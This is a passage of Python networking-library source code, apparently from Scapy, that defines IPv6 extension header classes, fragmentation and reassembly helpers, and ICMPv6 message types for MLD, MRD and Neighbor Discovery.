self.curpos\n        s = b\"\"\n        for p in x:\n            d = p.alignment_delta(curpos)\n            curpos += d\n            if d == 1:\n                s += raw(Pad1())\n            elif d != 0:\n                s += raw(PadN(optdata=b'\\x00' * (d - 2)))\n            pstr = raw(p)\n            curpos += len(pstr)\n            s += pstr\n\n        # Let's make the class including our option field\n        # a multiple of 8 octets long\n        d = curpos % 8\n        if d == 0:\n            return s\n        d = 8 - d\n        if d == 1:\n            s += raw(Pad1())\n        elif d != 0:\n            s += raw(PadN(optdata=b'\\x00' * (d - 2)))\n\n        return s\n\n    def addfield(self, pkt, s, val):\n        return s + self.i2m(pkt, val)\n\n\nclass _PhantomAutoPadField(ByteField):\n    def addfield(self, pkt, s, val):\n        return s\n\n    def getfield(self, pkt, s):\n        return s, 1\n\n    def i2repr(self, pkt, x):\n        if x:\n            return \"On\"\n        return \"Off\"\n\n\nclass IPv6ExtHdrHopByHop(_IPv6ExtHdr):\n    name = \"IPv6 Extension Header - Hop-by-Hop Options Header\"\n    fields_desc = [ByteEnumField(\"nh\", 59, ipv6nh),\n                   FieldLenField(\"len\", None, length_of=\"options\", fmt=\"B\",\n                                 adjust=lambda pkt, x: (x + 2 + 7) // 8 - 1),\n                   _PhantomAutoPadField(\"autopad\", 1),  # autopad activated by default  # noqa: E501\n                   _OptionsField(\"options\", [], HBHOptUnknown, 2,\n                                 length_from=lambda pkt: (8 * (pkt.len + 1)) - 2)]  # noqa: E501\n    overload_fields = {IPv6: {\"nh\": 0}}\n\n\n#                        Destination Option Header                          #\n\nclass IPv6ExtHdrDestOpt(_IPv6ExtHdr):\n    name = \"IPv6 Extension Header - Destination Options Header\"\n    fields_desc = [ByteEnumField(\"nh\", 59, ipv6nh),\n                   FieldLenField(\"len\", None, length_of=\"options\", fmt=\"B\",\n                                 adjust=lambda pkt, x: (x + 2 + 7) // 8 - 1),\n                   _PhantomAutoPadField(\"autopad\", 1),  # autopad activated by default  # noqa: E501\n                   _OptionsField(\"options\", [], HBHOptUnknown, 2,\n                                 length_from=lambda pkt: (8 * (pkt.len + 1)) - 2)]  # noqa: E501\n    overload_fields = {IPv6: {\"nh\": 60}}\n\n\n#                             Routing Header                                #\n\nclass IPv6ExtHdrRouting(_IPv6ExtHdr):\n    name = \"IPv6 Option Header Routing\"\n    fields_desc = [ByteEnumField(\"nh\", 59, ipv6nh),\n                   FieldLenField(\"len\", None, count_of=\"addresses\", fmt=\"B\",\n                                 adjust=lambda pkt, x:2 * x),  # in 8 bytes blocks  # noqa: E501\n                   ByteField(\"type\", 0),\n                   ByteField(\"segleft\", None),\n                   BitField(\"reserved\", 0, 32),  # There is meaning in this field ...  # noqa: E501\n                   IP6ListField(\"addresses\", [],\n                                length_from=lambda pkt: 8 * pkt.len)]\n    overload_fields = {IPv6: {\"nh\": 43}}\n\n    def post_build(self, pkt, pay):\n        if self.segleft is None:\n            pkt = pkt[:3] + struct.pack(\"B\", len(self.addresses)) + pkt[4:]\n        return _IPv6ExtHdr.post_build(self, pkt, pay)\n\n\n#                         Segment Routing Header                            #\n\n# This implementation is based on RFC8754, but some older snippets come from:\n# https://tools.ietf.org/html/draft-ietf-6man-segment-routing-header-06\n\n_segment_routing_header_tlvs = {\n    # RFC 8754 sect 8.2\n    0: \"Pad1 TLV\",\n    1: \"Ingress Node TLV\",  # draft 06\n    2: \"Egress Node TLV\",  # draft 06\n    4: \"PadN TLV\",\n    5: \"HMAC TLV\",\n}\n\n\nclass IPv6ExtHdrSegmentRoutingTLV(Packet):\n    name = \"IPv6 Option Header Segment Routing - Generic TLV\"\n    # RFC 8754 sect 2.1\n    fields_desc = [ByteEnumField(\"type\", None, _segment_routing_header_tlvs),\n                   ByteField(\"len\", 0),\n                   StrLenField(\"value\", \"\", length_from=lambda pkt: pkt.len)]\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n    registered_sr_tlv = {}\n\n    @classmethod\n    def register_variant(cls):\n        cls.registered_sr_tlv[cls.type.default] = cls\n\n    @classmethod\n    def dispatch_hook(cls, pkt=None, *args, **kargs):\n        if pkt:\n            tmp_type = ord(pkt[:1])\n            return cls.registered_sr_tlv.get(tmp_type, cls)\n        return cls\n\n\nclass IPv6ExtHdrSegmentRoutingTLVIngressNode(IPv6ExtHdrSegmentRoutingTLV):\n    name = \"IPv6 Option Header Segment Routing - Ingress Node TLV\"\n    # draft-ietf-6man-segment-routing-header-06 3.1.1\n    fields_desc = [ByteEnumField(\"type\", 1, _segment_routing_header_tlvs),\n                   ByteField(\"len\", 18),\n                   ByteField(\"reserved\", 0),\n                   ByteField(\"flags\", 0),\n                   IP6Field(\"ingress_node\", \"::1\")]\n\n\nclass IPv6ExtHdrSegmentRoutingTLVEgressNode(IPv6ExtHdrSegmentRoutingTLV):\n    name = \"IPv6 Option Header Segment Routing - Egress Node TLV\"\n    # draft-ietf-6man-segment-routing-header-06 3.1.2\n    fields_desc = [ByteEnumField(\"type\", 2, _segment_routing_header_tlvs),\n                   ByteField(\"len\", 18),\n                   ByteField(\"reserved\", 0),\n                   ByteField(\"flags\", 0),\n                   IP6Field(\"egress_node\", \"::1\")]\n\n\nclass IPv6ExtHdrSegmentRoutingTLVPad1(IPv6ExtHdrSegmentRoutingTLV):\n    name = \"IPv6 Option Header Segment Routing - Pad1 TLV\"\n    # RFC8754 sect 2.1.1.1, Pad1 is a single byte\n    fields_desc = [ByteEnumField(\"type\", 0, _segment_routing_header_tlvs)]\n\n\nclass IPv6ExtHdrSegmentRoutingTLVPadN(IPv6ExtHdrSegmentRoutingTLV):\n    name = \"IPv6 Option Header Segment Routing - PadN TLV\"\n    # RFC8754 sect 2.1.1.2\n    fields_desc = [ByteEnumField(\"type\", 4, _segment_routing_header_tlvs),\n                   FieldLenField(\"len\", None, length_of=\"padding\", fmt=\"B\"),\n                   StrLenField(\"padding\", b\"\\x00\", length_from=lambda pkt: pkt.len)]  # noqa: E501\n\n\nclass IPv6ExtHdrSegmentRoutingTLVHMAC(IPv6ExtHdrSegmentRoutingTLV):\n    name = \"IPv6 Option Header Segment Routing - HMAC TLV\"\n    # RFC8754 sect 2.1.2\n    fields_desc = [ByteEnumField(\"type\", 5, _segment_routing_header_tlvs),\n                   FieldLenField(\"len\", None, length_of=\"hmac\",\n                                 adjust=lambda _, x: x + 48),\n                   BitField(\"D\", 0, 1),\n                   BitField(\"reserved\", 0, 15),\n                   IntField(\"hmackeyid\", 0),\n                   StrLenField(\"hmac\", \"\",\n                               length_from=lambda pkt: pkt.len - 48)]\n\n\nclass IPv6ExtHdrSegmentRouting(_IPv6ExtHdr):\n    name = \"IPv6 Option Header Segment Routing\"\n    # RFC8754 sect 2. + flag bits from draft 06\n    fields_desc = [ByteEnumField(\"nh\", 59, ipv6nh),\n                   ByteField(\"len\", None),\n                   ByteField(\"type\", 4),\n                   ByteField(\"segleft\", None),\n                   ByteField(\"lastentry\", None),\n                   BitField(\"unused1\", 0, 1),\n                   BitField(\"protected\", 0, 1),\n                   BitField(\"oam\", 0, 1),\n                   BitField(\"alert\", 0, 1),\n                   BitField(\"hmac\", 0, 1),\n                   BitField(\"unused2\", 0, 3),\n                   ShortField(\"tag\", 0),\n                   IP6ListField(\"addresses\", [\"::1\"],\n                                count_from=lambda pkt: (pkt.lastentry + 1)),\n                   PacketListField(\"tlv_objects\", [],\n                                   IPv6ExtHdrSegmentRoutingTLV,\n                                   length_from=lambda pkt: 8 * pkt.len - 16 * (\n                                       pkt.lastentry + 1\n                   ))]\n\n    overload_fields = {IPv6: {\"nh\": 43}}\n\n    def post_build(self, pkt, pay):\n\n        if self.len is None:\n\n            # The extension must be align on 8 bytes\n            tmp_mod = (-len(pkt) + 8) % 8\n            if tmp_mod == 1:\n                tlv = IPv6ExtHdrSegmentRoutingTLVPad1()\n                pkt += raw(tlv)\n            elif tmp_mod >= 2:\n                # Add the padding extension\n                tmp_pad = b\"\\x00\" * (tmp_mod - 2)\n                tlv = IPv6ExtHdrSegmentRoutingTLVPadN(padding=tmp_pad)\n                pkt += raw(tlv)\n\n            tmp_len = (len(pkt) - 8) // 8\n            pkt = pkt[:1] + struct.pack(\"B\", tmp_len) + pkt[2:]\n\n        if self.segleft is None:\n            tmp_len = len(self.addresses)\n            if tmp_len:\n                tmp_len -= 1\n            pkt = pkt[:3] + struct.pack(\"B\", tmp_len) + pkt[4:]\n\n        if self.lastentry is None:\n            lastentry = len(self.addresses)\n            if lastentry == 0:\n                warning(\n                    \"IPv6ExtHdrSegmentRouting(): the addresses list is empty!\"\n                )\n            else:\n                lastentry -= 1\n            pkt = pkt[:4] + struct.pack(\"B\", lastentry) + pkt[5:]\n\n        return _IPv6ExtHdr.post_build(self, pkt, pay)\n\n\n#                           Fragmentation Header                             #\n\nclass IPv6ExtHdrFragment(_IPv6ExtHdr):\n    name = \"IPv6 Extension Header - Fragmentation header\"\n    fields_desc = [ByteEnumField(\"nh\", 59, ipv6nh),\n                   BitField(\"res1\", 0, 8),\n                   BitField(\"offset\", 0, 13),\n                   BitField(\"res2\", 0, 2),\n                   BitField(\"m\", 0, 1),\n                   IntField(\"id\", None)]\n    overload_fields = {IPv6: {\"nh\": 44}}\n\n    def guess_payload_class(self, p):\n        if self.offset > 0:\n            return Raw\n        else:\n            return super(IPv6ExtHdrFragment, self).guess_payload_class(p)\n\n\ndef defragment6(packets):\n    \"\"\"\n    Performs defragmentation of a list of IPv6 packets. Packets are reordered.\n    Crap is dropped. What lacks is completed by 'X' characters.\n    \"\"\"\n\n    # Remove non fragments\n    lst = [x for x in packets if IPv6ExtHdrFragment in x]\n    if not lst:\n        return []\n\n    id = lst[0][IPv6ExtHdrFragment].id\n\n    llen = len(lst)\n    lst = [x for x in lst if x[IPv6ExtHdrFragment].id == id]\n    if len(lst) != llen:\n        warning(\"defragment6: some fragmented packets have been removed from list\")  # noqa: E501\n\n    # reorder fragments\n    res = []\n    while lst:\n        min_pos = 0\n        min_offset = lst[0][IPv6ExtHdrFragment].offset\n        for p in lst:\n            cur_offset = p[IPv6ExtHdrFragment].offset\n            if cur_offset < min_offset:\n                min_pos = 0\n                min_offset = cur_offset\n        res.append(lst[min_pos])\n        del lst[min_pos]\n\n    # regenerate the fragmentable part\n    fragmentable = b\"\"\n    frag_hdr_len = 8\n    for p in res:\n        q = p[IPv6ExtHdrFragment]\n        offset = 8 * q.offset\n        if offset != len(fragmentable):\n            warning(\"Expected an offset of %d. Found %d. Padding with XXXX\" % (len(fragmentable), offset))  # noqa: E501\n        frag_data_len = p[IPv6].plen\n        if frag_data_len is not None:\n            frag_data_len -= frag_hdr_len\n        fragmentable += b\"X\" * (offset - len(fragmentable))\n        fragmentable += raw(q.payload)[:frag_data_len]\n\n    # Regenerate the unfragmentable part.\n    q = res[0].copy()\n    nh = q[IPv6ExtHdrFragment].nh\n    q[IPv6ExtHdrFragment].underlayer.nh = nh\n    q[IPv6ExtHdrFragment].underlayer.plen = len(fragmentable)\n    del q[IPv6ExtHdrFragment].underlayer.payload\n    q /= conf.raw_layer(load=fragmentable)\n    del q.plen\n\n    if q[IPv6].underlayer:\n        q[IPv6] = IPv6(raw(q[IPv6]))\n    else:\n        q = IPv6(raw(q))\n    return q\n\n\ndef fragment6(pkt, fragSize):\n    \"\"\"\n    Performs fragmentation of an IPv6 packet. 'fragSize' argument is the\n    expected maximum size of fragment data (MTU). The list of packets is\n    returned.\n\n    If packet does not contain an IPv6ExtHdrFragment class, it is added to\n    first IPv6 layer found. If no IPv6 layer exists packet is returned in\n    result list unmodified.\n    \"\"\"\n\n    pkt = pkt.copy()\n\n    if IPv6ExtHdrFragment not in pkt:\n        if IPv6 not in pkt:\n            return [pkt]\n\n        layer3 = pkt[IPv6]\n        data = layer3.payload\n        frag = IPv6ExtHdrFragment(nh=layer3.nh)\n\n        layer3.remove_payload()\n        del layer3.nh\n        del layer3.plen\n\n        frag.add_payload(data)\n        layer3.add_payload(frag)\n\n    # If the payload is bigger than 65535, a Jumbo payload must be used, as\n    # an IPv6 packet can't be bigger than 65535 bytes.\n    if len(raw(pkt[IPv6ExtHdrFragment])) > 65535:\n        warning(\"An IPv6 packet can'be bigger than 65535, please use a Jumbo payload.\")  # noqa: E501\n        return []\n\n    s = raw(pkt)  # for instantiation to get upper layer checksum right\n\n    if len(s) <= fragSize:\n        return [pkt]\n\n    # Fragmentable part : fake IPv6 for Fragmentable part length computation\n    fragPart = pkt[IPv6ExtHdrFragment].payload\n    tmp = raw(IPv6(src=\"::1\", dst=\"::1\") / fragPart)\n    fragPartLen = len(tmp) - 40  # basic IPv6 header length\n    fragPartStr = s[-fragPartLen:]\n\n    # Grab Next Header for use in Fragment Header\n    nh = pkt[IPv6ExtHdrFragment].nh\n\n    # Keep fragment header\n    fragHeader = pkt[IPv6ExtHdrFragment]\n    del fragHeader.payload  # detach payload\n\n    # Unfragmentable Part\n    unfragPartLen = len(s) - fragPartLen - 8\n    unfragPart = pkt\n    del pkt[IPv6ExtHdrFragment].underlayer.payload  # detach payload\n\n    # Cut the fragmentable part to fit fragSize. Inner fragments have\n    # a length that is an integer multiple of 8 octets. last Frag MTU\n    # can be anything below MTU\n    lastFragSize = fragSize - unfragPartLen - 8\n    innerFragSize = lastFragSize - (lastFragSize % 8)\n\n    if lastFragSize <= 0 or innerFragSize == 0:\n        warning(\"Provided fragment size value is too low. \" +\n                \"Should be more than %d\" % (unfragPartLen + 8))\n        return [unfragPart / fragHeader / fragPart]\n\n    remain = fragPartStr\n    res = []\n    fragOffset = 0     # offset, incremeted during creation\n    fragId = random.randint(0, 0xffffffff)  # random id ...\n    if fragHeader.id is not None:  # ... except id provided by user\n        fragId = fragHeader.id\n    fragHeader.m = 1\n    fragHeader.id = fragId\n    fragHeader.nh = nh\n\n    # Main loop : cut, fit to FRAGSIZEs, fragOffset, Id ...\n    while True:\n        if (len(remain) > lastFragSize):\n            tmp = remain[:innerFragSize]\n            remain = remain[innerFragSize:]\n            fragHeader.offset = fragOffset    # update offset\n            fragOffset += (innerFragSize // 8)  # compute new one\n            if IPv6 in unfragPart:\n                unfragPart[IPv6].plen = None\n            tempo = unfragPart / fragHeader / conf.raw_layer(load=tmp)\n            res.append(tempo)\n        else:\n            fragHeader.offset = fragOffset    # update offSet\n            fragHeader.m = 0\n            if IPv6 in unfragPart:\n                unfragPart[IPv6].plen = None\n            tempo = unfragPart / fragHeader / conf.raw_layer(load=remain)\n            res.append(tempo)\n            break\n    return res\n\n\n#############################################################################\n#############################################################################\n#                             ICMPv6* Classes                               #\n#############################################################################\n#############################################################################\n\n\nicmp6typescls = {1: \"ICMPv6DestUnreach\",\n                 2: \"ICMPv6PacketTooBig\",\n                 3: \"ICMPv6TimeExceeded\",\n                 4: \"ICMPv6ParamProblem\",\n                 128: \"ICMPv6EchoRequest\",\n                 129: \"ICMPv6EchoReply\",\n                 130: \"ICMPv6MLQuery\",  # MLDv1 or MLDv2\n                 131: \"ICMPv6MLReport\",\n                 132: \"ICMPv6MLDone\",\n                 133: \"ICMPv6ND_RS\",\n                 134: \"ICMPv6ND_RA\",\n                 135: \"ICMPv6ND_NS\",\n                 136: \"ICMPv6ND_NA\",\n                 137: \"ICMPv6ND_Redirect\",\n                 # 138: Do Me - RFC 2894 - Seems painful\n                 139: \"ICMPv6NIQuery\",\n                 140: \"ICMPv6NIReply\",\n                 141: \"ICMPv6ND_INDSol\",\n                 142: \"ICMPv6ND_INDAdv\",\n                 143: \"ICMPv6MLReport2\",\n                 144: \"ICMPv6HAADRequest\",\n                 145: \"ICMPv6HAADReply\",\n                 146: \"ICMPv6MPSol\",\n                 147: \"ICMPv6MPAdv\",\n                 # 148: Do Me - SEND related - RFC 3971\n                 # 149: Do Me - SEND related - RFC 3971\n                 151: \"ICMPv6MRD_Advertisement\",\n                 152: \"ICMPv6MRD_Solicitation\",\n                 153: \"ICMPv6MRD_Termination\",\n                 # 154: Do Me - FMIPv6 Messages - RFC 5568\n                 155: \"ICMPv6RPL\",  # RFC 6550\n                 }\n\nicmp6typesminhdrlen = {1: 8,\n                       2: 8,\n                       3: 8,\n                       4: 8,\n                       128: 8,\n                       129: 8,\n                       130: 24,\n                       131: 24,\n                       132: 24,\n                       133: 8,\n                       134: 16,\n                       135: 24,\n                       136: 24,\n                       137: 40,\n                       # 139:\n                       # 140\n                       141: 8,\n                       142: 8,\n                       143: 8,\n                       144: 8,\n                       145: 8,\n                       146: 8,\n                       147: 8,\n                       151: 8,\n                       152: 4,\n                       153: 4,\n                       155: 4\n                       }\n\nicmp6types = {1: \"Destination unreachable\",\n              2: \"Packet too big\",\n              3: \"Time exceeded\",\n              4: \"Parameter problem\",\n              100: \"Private Experimentation\",\n              101: \"Private Experimentation\",\n              128: \"Echo Request\",\n              129: \"Echo Reply\",\n              130: \"MLD Query\",\n              131: \"MLD Report\",\n              132: \"MLD Done\",\n              133: \"Router Solicitation\",\n              134: \"Router Advertisement\",\n              135: \"Neighbor Solicitation\",\n              136: \"Neighbor Advertisement\",\n              137: \"Redirect Message\",\n              138: \"Router Renumbering\",\n              139: \"ICMP Node Information Query\",\n              140: \"ICMP Node Information Response\",\n              141: \"Inverse Neighbor Discovery Solicitation Message\",\n              142: \"Inverse Neighbor Discovery Advertisement Message\",\n              143: \"MLD Report Version 2\",\n              144: \"Home Agent Address Discovery Request Message\",\n              145: \"Home Agent Address Discovery Reply Message\",\n              146: \"Mobile Prefix Solicitation\",\n              147: \"Mobile Prefix Advertisement\",\n              148: \"Certification Path Solicitation\",\n              149: \"Certification Path Advertisement\",\n              151: \"Multicast Router Advertisement\",\n              152: \"Multicast Router Solicitation\",\n              153: \"Multicast Router Termination\",\n              155: \"RPL Control Message\",\n              200: \"Private Experimentation\",\n              201: \"Private Experimentation\"}\n\n\nclass _ICMPv6(Packet):\n    name = \"ICMPv6 dummy class\"\n    overload_fields = {IPv6: {\"nh\": 58}}\n\n    def post_build(self, p, pay):\n        p += pay\n        if self.cksum is None:\n            chksum = in6_chksum(58, self.underlayer, p)\n            p = p[:2] + struct.pack(\"!H\", chksum) + p[4:]\n        return p\n\n    def hashret(self):\n        return self.payload.hashret()\n\n    def answers(self, other):\n        # isinstance(self.underlayer, _IPv6ExtHdr) may introduce a bug ...\n        if (isinstance(self.underlayer, IPerror6) or\n            isinstance(self.underlayer, _IPv6ExtHdr) and\n                isinstance(other, _ICMPv6)):\n            if not ((self.type == other.type) and\n                    (self.code == other.code)):\n                return 0\n            return 1\n        return 0\n\n\nclass _ICMPv6Error(_ICMPv6):\n    name = \"ICMPv6 errors dummy class\"\n\n    def guess_payload_class(self, p):\n        return IPerror6\n\n\nclass ICMPv6Unknown(_ICMPv6):\n    name = \"Scapy6 ICMPv6 fallback class\"\n    fields_desc = [ByteEnumField(\"type\", 1, icmp6types),\n                   ByteField(\"code\", 0),\n                   XShortField(\"cksum\", None),\n                   StrField(\"msgbody\", \"\")]\n\n\n#                                  RFC 2460                                  #\n\nclass ICMPv6DestUnreach(_ICMPv6Error):\n    name = \"ICMPv6 Destination Unreachable\"\n    fields_desc = [ByteEnumField(\"type\", 1, icmp6types),\n                   ByteEnumField(\"code\", 0, {0: \"No route to destination\",\n                                             1: \"Communication with destination administratively prohibited\",  # noqa: E501\n                                             2: \"Beyond scope of source address\",  # noqa: E501\n                                             3: \"Address unreachable\",\n                                             4: \"Port unreachable\"}),\n                   XShortField(\"cksum\", None),\n                   ByteField(\"length\", 0),\n                   X3BytesField(\"unused\", 0),\n                   _ICMPExtensionPadField(),\n                   _ICMPExtensionField()]\n    post_dissection = _ICMP_extpad_post_dissection\n\n\nclass ICMPv6PacketTooBig(_ICMPv6Error):\n    name = \"ICMPv6 Packet Too Big\"\n    fields_desc = [ByteEnumField(\"type\", 2, icmp6types),\n                   ByteField(\"code\", 0),\n                   XShortField(\"cksum\", None),\n                   IntField(\"mtu\", 1280)]\n\n\nclass ICMPv6TimeExceeded(_ICMPv6Error):\n    name = \"ICMPv6 Time Exceeded\"\n    fields_desc = [ByteEnumField(\"type\", 3, icmp6types),\n                   ByteEnumField(\"code\", 0, {0: \"hop limit exceeded in transit\",  # noqa: E501\n                                             1: \"fragment reassembly time exceeded\"}),  # noqa: E501\n                   XShortField(\"cksum\", None),\n                   ByteField(\"length\", 0),\n                   X3BytesField(\"unused\", 0),\n                   _ICMPExtensionPadField(),\n                   _ICMPExtensionField()]\n    post_dissection = _ICMP_extpad_post_dissection\n\n\n# The default pointer value is set to the next header field of\n# the encapsulated IPv6 packet\n\n\nclass ICMPv6ParamProblem(_ICMPv6Error):\n    name = \"ICMPv6 Parameter Problem\"\n    fields_desc = [ByteEnumField(\"type\", 4, icmp6types),\n                   ByteEnumField(\n                       \"code\", 0,\n                       {0: \"erroneous header field encountered\",\n                        1: \"unrecognized Next Header type encountered\",\n                        2: \"unrecognized IPv6 option encountered\",\n                        3: \"first fragment has incomplete header chain\"}),\n                   XShortField(\"cksum\", None),\n                   IntField(\"ptr\", 6)]\n\n\nclass ICMPv6EchoRequest(_ICMPv6):\n    name = \"ICMPv6 Echo Request\"\n    fields_desc = [ByteEnumField(\"type\", 128, icmp6types),\n                   ByteField(\"code\", 0),\n                   XShortField(\"cksum\", None),\n                   XShortField(\"id\", 0),\n                   XShortField(\"seq\", 0),\n                   StrField(\"data\", \"\")]\n\n    def mysummary(self):\n        return self.sprintf(\"%name% (id: %id% seq: %seq%)\")\n\n    def hashret(self):\n        return struct.pack(\"HH\", self.id, self.seq) + self.payload.hashret()\n\n\nclass ICMPv6EchoReply(ICMPv6EchoRequest):\n    name = \"ICMPv6 Echo Reply\"\n    type = 129\n\n    def answers(self, other):\n        # We could match data content between request and reply.\n        return (isinstance(other, ICMPv6EchoRequest) and\n                self.id == other.id and self.seq == other.seq and\n                self.data == other.data)\n\n\n#            ICMPv6 Multicast Listener Discovery (RFC2710)                  #\n\n# tous les messages MLD sont emis avec une adresse source lien-locale\n# -> Y veiller dans le post_build si aucune n'est specifiee\n# La valeur de Hop-Limit doit etre de 1\n# \"and an IPv6 Router Alert option in a Hop-by-Hop Options\n# header. (The router alert option is necessary to cause routers to\n# examine MLD messages sent to multicast addresses in which the router\n# itself has no interest\"\nclass _ICMPv6ML(_ICMPv6):\n    fields_desc = [ByteEnumField(\"type\", 130, icmp6types),\n                   ByteField(\"code\", 0),\n                   XShortField(\"cksum\", None),\n                   ShortField(\"mrd\", 0),\n                   ShortField(\"reserved\", 0),\n                   IP6Field(\"mladdr\", \"::\")]\n\n# general queries are sent to the link-scope all-nodes multicast\n# address ff02::1, with a multicast address field of 0 and a MRD of\n# [Query Response Interval]\n# Default value for mladdr is set to 0 for a General Query, and\n# overloaded by the user for a Multicast Address specific query\n# TODO : See what we can do to automatically include a Router Alert\n#        Option in a Destination Option Header.\n\n\nclass ICMPv6MLQuery(_ICMPv6ML):  # RFC 2710\n    name = \"MLD - Multicast Listener Query\"\n    type = 130\n    mrd = 10000  # 10s for mrd\n    mladdr = \"::\"\n    overload_fields = {IPv6: {\"dst\": \"ff02::1\", \"hlim\": 1, \"nh\": 58}}\n\n\n# TODO : See what we can do to automatically include a Router Alert\n#        Option in a Destination Option Header.\nclass ICMPv6MLReport(_ICMPv6ML):  # RFC 2710\n    name = \"MLD - Multicast Listener Report\"\n    type = 131\n    overload_fields = {IPv6: {\"hlim\": 1, \"nh\": 58}}\n\n    def answers(self, query):\n        \"\"\"Check the query type\"\"\"\n        return ICMPv6MLQuery in query\n\n# When a node ceases to listen to a multicast address on an interface,\n# it SHOULD send a single Done message to the link-scope all-routers\n# multicast address (FF02::2), carrying in its multicast address field\n# the address to which it is ceasing to listen\n# TODO : See what we can do to automatically include a Router Alert\n#        Option in a Destination Option Header.\n\n\nclass ICMPv6MLDone(_ICMPv6ML):  # RFC 2710\n    name = \"MLD - Multicast Listener Done\"\n    type = 132\n    overload_fields = {IPv6: {\"dst\": \"ff02::2\", \"hlim\": 1, \"nh\": 58}}\n\n\n#            Multicast Listener Discovery Version 2 (MLDv2) (RFC3810)       #\n\nclass ICMPv6MLQuery2(_ICMPv6):  # RFC 3810\n    name = \"MLDv2 - Multicast Listener Query\"\n    fields_desc = [ByteEnumField(\"type\", 130, icmp6types),\n                   ByteField(\"code\", 0),\n                   XShortField(\"cksum\", None),\n                   ShortField(\"mrd\", 10000),\n                   ShortField(\"reserved\", 0),\n                   IP6Field(\"mladdr\", \"::\"),\n                   BitField(\"Resv\", 0, 4),\n                   BitField(\"S\", 0, 1),\n                   BitField(\"QRV\", 0, 3),\n                   ByteField(\"QQIC\", 0),\n                   ShortField(\"sources_number\", None),\n                   IP6ListField(\"sources\", [],\n                                count_from=lambda pkt: pkt.sources_number)]\n\n    # RFC8810 - 4. Message Formats\n    overload_fields = {IPv6: {\"dst\": \"ff02::1\", \"hlim\": 1, \"nh\": 58}}\n\n    def post_build(self, packet, payload):\n        \"\"\"Compute the 'sources_number' field when needed\"\"\"\n        if self.sources_number is None:\n            srcnum = struct.pack(\"!H\", len(self.sources))\n            packet = packet[:26] + srcnum + packet[28:]\n        return _ICMPv6.post_build(self, packet, payload)\n\n\nclass ICMPv6MLDMultAddrRec(Packet):\n    name = \"ICMPv6 MLDv2 - Multicast Address Record\"\n    fields_desc = [ByteField(\"rtype\", 4),\n                   FieldLenField(\"auxdata_len\", None,\n                                 length_of=\"auxdata\",\n                                 fmt=\"B\"),\n                   FieldLenField(\"sources_number\", None,\n                                 length_of=\"sources\",\n                                 adjust=lambda p, num: num // 16),\n                   IP6Field(\"dst\", \"::\"),\n                   IP6ListField(\"sources\", [],\n                                length_from=lambda p: 16 * p.sources_number),\n                   StrLenField(\"auxdata\", \"\",\n                               length_from=lambda p: p.auxdata_len)]\n\n    def default_payload_class(self, packet):\n        \"\"\"Multicast Address Record followed by another one\"\"\"\n        return self.__class__\n\n\nclass ICMPv6MLReport2(_ICMPv6):  # RFC 3810\n    name = \"MLDv2 - Multicast Listener Report\"\n    fields_desc = [ByteEnumField(\"type\", 143, icmp6types),\n                   ByteField(\"res\", 0),\n                   XShortField(\"cksum\", None),\n                   ShortField(\"reserved\", 0),\n                   ShortField(\"records_number\", None),\n                   PacketListField(\"records\", [],\n                                   ICMPv6MLDMultAddrRec,\n                                   count_from=lambda p: p.records_number)]\n\n    # RFC8810 - 4. Message Formats\n    overload_fields = {IPv6: {\"dst\": \"ff02::16\", \"hlim\": 1, \"nh\": 58}}\n\n    def post_build(self, packet, payload):\n        \"\"\"Compute the 'records_number' field when needed\"\"\"\n        if self.records_number is None:\n            recnum = struct.pack(\"!H\", len(self.records))\n            packet = packet[:6] + recnum + packet[8:]\n        return _ICMPv6.post_build(self, packet, payload)\n\n    def answers(self, query):\n        \"\"\"Check the query type\"\"\"\n        return isinstance(query, ICMPv6MLQuery2)\n\n\n#          ICMPv6 MRD - Multicast Router Discovery (RFC 4286)               #\n\n# TODO:\n# - 04/09/06 troglocan : find a way to automatically add a router alert\n#            option for all MRD packets. This could be done in a specific\n#            way when IPv6 is the under layer with some specific keyword\n#            like 'exthdr'. This would allow to keep compatibility with\n#            providing IPv6 fields to be overloaded in fields_desc.\n#\n#            At the moment, if user inserts an IPv6 Router alert option\n#            none of the IPv6 default values of IPv6 layer will be set.\n\nclass ICMPv6MRD_Advertisement(_ICMPv6):\n    name = \"ICMPv6 Multicast Router Discovery Advertisement\"\n    fields_desc = [ByteEnumField(\"type\", 151, icmp6types),\n                   ByteField(\"advinter\", 20),\n                   XShortField(\"cksum\", None),\n                   ShortField(\"queryint\", 0),\n                   ShortField(\"robustness\", 0)]\n    overload_fields = {IPv6: {\"nh\": 58, \"hlim\": 1, \"dst\": \"ff02::2\"}}\n    # IPv6 Router Alert requires manual inclusion\n\n    def extract_padding(self, s):\n        return s[:8], s[8:]\n\n\nclass ICMPv6MRD_Solicitation(_ICMPv6):\n    name = \"ICMPv6 Multicast Router Discovery Solicitation\"\n    fields_desc = [ByteEnumField(\"type\", 152, icmp6types),\n                   ByteField(\"res\", 0),\n                   XShortField(\"cksum\", None)]\n    overload_fields = {IPv6: {\"nh\": 58, \"hlim\": 1, \"dst\": \"ff02::2\"}}\n    # IPv6 Router Alert requires manual inclusion\n\n    def extract_padding(self, s):\n        return s[:4], s[4:]\n\n\nclass ICMPv6MRD_Termination(_ICMPv6):\n    name = \"ICMPv6 Multicast Router Discovery Termination\"\n    fields_desc = [ByteEnumField(\"type\", 153, icmp6types),\n                   ByteField(\"res\", 0),\n                   XShortField(\"cksum\", None)]\n    overload_fields = {IPv6: {\"nh\": 58, \"hlim\": 1, \"dst\": \"ff02::6A\"}}\n    # IPv6 Router Alert requires manual inclusion\n\n    def extract_padding(self, s):\n        return s[:4], s[4:]\n\n\n#                   ICMPv6 Neighbor Discovery (RFC 2461)                    #\n\nicmp6ndopts = {1: \"Source Link-Layer Address\",\n               2: \"Target Link-Layer Address\",\n               3: \"Prefix Information\",\n               4: \"Redirected Header\",\n               5: \"MTU\",\n               6: \"NBMA Shortcut Limit Option\",  # RFC2491\n               7: \"Advertisement Interval Option\",\n               8: \"Home Agent Information Option\",\n               9: \"Source Address List\",\n               10: \"Target Address List\",\n               11: \"CGA Option\",            # RFC 3971\n               12: \"RSA Signature Option\",  # RFC 3971\n               13: \"Timestamp Option\",      # RFC 3971\n               14: \"Nonce option\",          # RFC 3971\n               15: \"Trust Anchor Option\",   # RFC 3971\n               16: \"Certificate Option\",    # RFC 3971\n               17: \"IP Address Option\",                             # RFC 4068\n               18: \"New Router Prefix Information Option\",          # RFC 4068\n               19: \"Link-layer Address Option\",                     # RFC 4068\n               20: \"Neighbor Advertisement Acknowledgement Option\",\n               21: \"CARD Request Option\",  # RFC 4065/4066/4067\n               22: \"CARD Reply Option\",   # RFC 4065/4066/4067\n               23: \"MAP Option\",          # RFC 4140\n               24: 